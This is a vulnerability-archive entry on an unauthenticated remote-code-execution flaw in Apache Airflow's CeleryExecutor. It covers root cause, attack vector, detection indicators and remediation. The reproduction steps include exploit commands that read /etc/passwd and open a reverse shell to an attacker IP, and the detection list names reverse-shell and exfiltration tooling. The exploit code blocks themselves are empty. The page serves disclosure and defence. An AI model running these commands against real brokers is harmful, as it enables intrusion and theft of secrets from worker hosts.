Airflow-Ghost — Apache Airflow CeleryExecutor Unauthenticated RCE (CVE-2026-68982)
Published: 2026-11-25 • Researcher: Ghost-Bx1 (PoC); Or Sahar / Reflectiz (research, per repo README); Apache Airflow (advisory)
- Severity
- Critical
- CVE
- CVE-2026-68982
- Category
- web
- Affected product
- Apache Airflow (CeleryExecutor, ExecuteCallback / deadline callback handling)
- Affected versions
- Apache Airflow before 3.4.0 with CeleryExecutor enabled; fixed in 3.4.0 and later (NVD lists no CPE version ranges for this CVE — see references)
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-68982
- https://github.com/apache/airflow/pull/71192
- https://airflow.apache.org/docs/apache-airflow/stable/security/
- https://lists.apache.org/thread.html/7t514l87nhjworv2ns22b8ltxr1f7rhg
- https://cybersecuritynews.com/critical-apache-airflow-rce-flaw/
- https://cwe.mitre.org/data/definitions/306.html
- https://github.com/Ghost-Bx1/cve-2026-68982-airflow-celery-rce
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-11-11 |
| Author / Researcher | Ghost-Bx1 (PoC); Or Sahar / Reflectiz (research, per repo README); Apache Airflow (advisory) |
| CVE / Advisory | CVE-2026-68982 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Status | PoC |
| Tags | RCE, unauthenticated, Apache Airflow, CeleryExecutor, Celery, Redis, broker, CWE-306, task-queue, Python |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Apache Airflow (CeleryExecutor, ExecuteCallback / deadline callback handling) |
| Versions Affected | Apache Airflow before 3.4.0 with CeleryExecutor enabled; fixed in 3.4.0 and later (NVD lists no CPE version ranges for this CVE — see references) |
| Language / Platform | Python; Linux or Windows workers; Redis or RabbitMQ Celery broker |
| Authentication Required | No (but write access to the Celery broker is required) |
| Network Access Required | Yes (TCP access to the broker, Redis default 6379) |
Summary
Apache Airflow’s CeleryExecutor processes ExecuteCallback workloads, used for deadline-alert callbacks, without validating the workload’s authentication token. Anyone able to write to the Celery broker can enqueue a forged callback and execute arbitrary code on every CeleryExecutor worker, without Airflow credentials. This repository provides a Python client that speaks the Redis protocol, pushes a forged execute-command callback into a Celery queue, and offers command execution, reverse shell, data exfiltration and mass-scan modes. Deployments using the CeleryExecutor are affected; Airflow 3.4.0 and later claim the callback through the Execution API and validate the token before running it.
Vulnerability Details
Root Cause
CeleryExecutor workers trust callback workloads received over the Celery broker. For deadline-alert callbacks the worker dispatched the ExecuteCallback workload without validating the authentication token bound to that workload, which made the broker queue itself the trust boundary. A party with broker write access could therefore forge a callback that no Airflow component had authorized. The upstream fix, Apache Airflow PR #71192 (“Add single-use callback token for deadline callback context fetch”), makes the worker claim the callback through the Execution API and validate a single-use token before execution.
Attack Vector
The attacker connects directly to the Celery broker — Redis on 6379 by default, or RabbitMQ — and does not need Airflow web or API credentials. The PoC opens a raw socket to the broker, sends Redis RESP commands (PING/INFO/KEYS for reconnaissance, then LPUSH) to the target Celery queue, and supplies a JSON task payload naming the CeleryExecutor command task with the desired shell command. The worker dequeues the item and executes it. Only brokers reachable from the attacker are exposed; the upstream README cites Reflectiz reporting that 198 of 211 publicly reachable Redis brokers answered without authentication.
Impact
Arbitrary command execution as the worker process user on every CeleryExecutor worker that consumes the forged queue item. The shipped tooling supports single commands, an integrated reverse shell, exfiltration of /etc/passwd and environment variables, and mass injection across scanned broker ranges. Forged callbacks do not create Airflow task records or UI history, which makes the activity harder to spot through Airflow’s own audit surfaces. Worker compromise exposes DAG code, connection secrets and any credentials or files reachable from the worker.
Environment / Lab Setup
OS: Linux (worker host) or Windows
Target: Apache Airflow < 3.4.0 with CeleryExecutor enabled and a
reachable Celery broker (Redis 6379 or RabbitMQ); no lab
compose file ships with this repository
Attacker: Python 3.8+ (standard library only)
Tools: Python 3, redis-cli (verification), netcat (reverse shell)Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
- Verify broker exposure — connect and query Redis without credentials.Shell script
1python3 poc.py --broker <broker-host> --check - Enqueue a command payload — push a forged callback onto the Celery queue.Shell script
1python3 poc.py --broker <broker-host> --cmd "id > /tmp/pwned" --queue default - Use the full exploit — command execution or reverse shell.Shell script
1 2python3 exploit.py --broker <broker-host> --cmd "id; whoami; cat /etc/passwd" python3 exploit.py --broker <broker-host> --reverse-shell --lhost <attacker-ip> --lport 4444 - Confirm on the worker — check the artifact or reverse-shell connection from the worker host, since the tool itself does not return command output.Shell script
1cat /tmp/pwned
Exploit Code
See
exploit.pyandpoc.pyin this folder.
| |
Expected Output
| |
The script prints only broker acknowledgements (Redis :1 for LPUSH); it does not capture command output. Actual execution must be confirmed on the worker (for example the contents of /tmp/pwned or an inbound reverse-shell connection).
Detection & Indicators of Compromise
- Redis
MONITOR/slowlog entries showingLPUSHinto a Celery queue with JSON containingairflow.executors.celery_executor.execute_command, especially from hosts that are not Airflow workers or schedulers. - Reconnaissance against the broker: unauthenticated
PING,INFO serverandKEYS *celery*from unexpected clients. - Airflow worker processes spawning
bash,sh,curl,python3 -cor/dev/tcpshells that are not associated with a running DAG task. - Execution with no corresponding task instance, DAG run or callback record in the Airflow metadata database or UI.
- Outbound connections from worker hosts to unknown IPs on high ports (reverse shell) or HTTP servers (exfiltration).
- Broker logs showing clients from untrusted network ranges, or Redis running with no
requirepass.
SIEM / IDS rule (example):
| |
Example Redis log line:
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to apache-airflow 3.4.0 or later, which includes PR #71192 (single-use callback token validated through the Execution API); restart scheduler and all CeleryExecutor workers. |
| Workaround | Restrict broker access to Airflow components only, enable Redis requirepass or RabbitMQ authentication with TLS, rotate broker credentials, and keep 6379/5672 off untrusted networks. Consider a non-Celery executor if Celery is not required. |
| Config Hardening | Bind the broker to a private interface, firewall it from everything except scheduler/workers, monitor LPUSH and MONITOR activity, and alert on worker child processes not tied to a DAG run. |
References
- CVE-2026-68982 — NVD
- Apache Airflow PR #71192 — Add single-use callback token for deadline callback context fetch
- Apache Airflow security documentation
- Apache mailing list thread referenced by NVD
- Reflectiz / Or Sahar research coverage
- CWE-306 — Missing Authentication for Critical Functionality
- Source PoC — Ghost-Bx1/cve-2026-68982-airflow-celery-rce
Notes
Auto-ingested from https://github.com/Ghost-Bx1/cve-2026-68982-airflow-celery-rce on 2026-11-25.
Review verdict: the repository contains genuine exploit-intent code — raw Redis RESP client, forged Celery callback injection, command execution, reverse shell, exfiltration and mass-scan modes — not a detector or audit tool. It is archived as a limited PoC rather than a weaponized chain: only two Python files ship, there is no local lab or docker-compose, and the pushed body is a bare JSON task dictionary rather than a Celery protocol v2 envelope with body/headers/properties fields, so a stock Celery worker may reject it. The author does not demonstrate command output, and the tool does not confirm execution. Status is therefore PoC, and the actual exploit path needs validation in an isolated Airflow < 3.4.0 lab. Do not run against systems without written authorization.
License: Unlicense / public domain (LICENSE file included). One data anomaly: the NVD reference list includes https://www.cve.org/CVERecord?id=CVE-2020-11981, which is an unrelated older Airflow/Celery vulnerability record; it is not cited as support for this issue. NVD provides no CPE configuration or version ranges for CVE-2026-68982, so the affected range above is taken from the Apache advisory text (fixed in 3.4.0).
| |